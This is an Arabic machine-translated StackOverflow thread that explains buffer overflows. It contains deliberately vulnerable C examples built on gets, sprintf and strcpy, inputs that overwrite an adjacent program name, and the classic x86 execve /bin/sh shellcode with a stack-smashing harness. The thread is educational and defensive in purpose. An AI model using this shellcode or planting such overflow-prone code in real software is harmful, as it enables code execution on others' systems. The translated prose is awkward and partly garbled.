هل تستطيع أن تعطي مثالا على تجاوز سعة المخزن المؤقت؟

StackOverflow https://stackoverflow.com/questions/1306823

سؤال

لقد سمعت كثيرا عن تجاوزات المخزن المؤقت وصدق أنني أفهم المشكلة ولكن ما زلت لا أرى مثالا على القول

char buffer[16];

//code that will over write that buffer and launch notepad.exe
هل كانت مفيدة؟

المحلول

أولا، تحتاج إلى برنامج سيطلق برامج أخرى. برنامج ينفذ نظام التشغيل exec في بعض النماذج أو غيرها. هذا هو نظام التشغيل للغاية ولغة اللغة.

ثانيا، يجب أن يقرأ البرنامج الذي يطلق برامج أخرى من بعض المصدر الخارجي إلى مخزن مؤقت.

ثالثا، يجب عليك بعد ذلك فحص البرنامج قيد التشغيل - كما هو موضح في الذاكرة من قبل المحول البرمجي - لمعرفة كيفية وجود المخزن المؤقت للإدخال والمتغيرات الأخرى المستخدمة للخطوة 1 (بدء البرامج الأخرى).

رابعا، يجب عليك توصيل المدخلات التي ستتخلص في الواقع المخزن المؤقت وتعيين المتغيرات الأخرى.

لذا. الجزء 1 و 2 هو برنامج يبدو مثل هذا في C.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

الجزء 3 يتطلب بعض التحليل لما buffer و ال program_to_run تبدو وكأنها، لكن ستجد أنه ربما فقط

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

الجزء 4، المدخلات الخاصة بك، ثم يجب أن يكون

1234567890123456notepad.exe\x00

لذلك سوف تملأ buffer والكتابة program_to_run.

نصائح أخرى

"تحطيم المكدس للمتعة والربح" هو أفضل Howto / الأسئلة الشائعة في هذا الموضوع.

يرى: http://insecure.org/stf/smashstack.html.

هنا هو SNIP من بعض shellcode الفعلية:

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;

      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];

      strcpy(buffer,large_string);
}

هناك نوعان منفصلان:

  1. الرمز الذي يفيض المخزن المؤقت، وهذا سهل القيام به وسينتهي على الأرجح مع خطأ تجزئة. وهو ما تم عرضه: Sprintf (المخزن المؤقت، "01234567890123456789")؛

  2. وسيلة وضع رمز الذاكرة المكشوفة التي يتم تنفيذها بواسطة نظام التشغيل. هذا أصعب من مجرد التغلب على المخزن المؤقت، وترتبط بكيفية تنفيذ البرامج. وعادة ما يحصلون على التعليمات التالية للتنفيذ من مكدس، إذا كنت تمكنت من وضعها في القيمة التالية من تكديس التعليمات الصالحة عبر الكتابة فوق الذاكرة دون إنشاء فساد مؤشر التنفيذ (أو أي نوع آخر من الفساد)، فيمكنك إنشاء استغلال وبعد عادة ما يتم ذلك عن طريق وضع تعليمات القفز في المقربة قيمة القراءة من المكدس إلى قسم من الذاكرة التي تحتوي على رمز. هذا هو السبب في أن بمناسبة أقسام الذاكرة لأن غير قابل للتنفيذ يمكن أن يساعد على هذا النوع من الاستغلال.

حسنا، أنا لا أعرف كيفية إطلاق Notpad.exe، ولكن الكتابة فوق هذا المخزن المؤقت ببساطة القيام:

sprintf(buffer, "somestringlongerthan16");
int x[10];

x[11] = 1;

الطريقة التي يمكن استخدامها من الفضاد المخزن المؤقت لإنشاء كود القيام بشيء آخر غير المقصود، هو عن طريق كتابة البيانات خارج المخزن المؤقت المخصصين الكتابة فوق شيء آخر.

عادة ما تكون البيانات الكتابية هي التعليمات البرمجية في وظيفة أخرى، ولكن مثال بسيط يتم الكتابة فوق متغير بجوار المخزن المؤقت:

char buffer[16];
string myapp = "appmine.exe";

void execMe(string s) {
   for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
   Sys.Execute(myapp, buffer);
}

إذا قمت باستدعاء الوظيفة بمزيد من البيانات من يمكن أن تعقد المخزن المؤقت، فستكتمل اسم الملف:

execMe("0123456789012345notepad");
gets(buffer);

لا توجد طريقة للاستخدام بشكل صحيح، لأنها لا تطلب حجم المخزن المؤقت.

scanf("%s", buffer);

سيقوم Scanf بقراءة إدخال السلسلة حتى يضرب Whitespace، فإن أنواع المستخدمين ستكون أكثر من 16 حرفا سيكون هناك تجاوزا مؤقتا.

phrack's تحطيم المكدس من أجل المتعة والربح لديه تفسير كاف لتمكينك من فعل ما تسأله.

للحصول على مثال بسيط انظر أيضا هنا:

حماية ضد بعض الهجمات المخزنة العازلة: هجوم مثال

http://www.greenend.org.uk/rjk/random-stack.html.

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top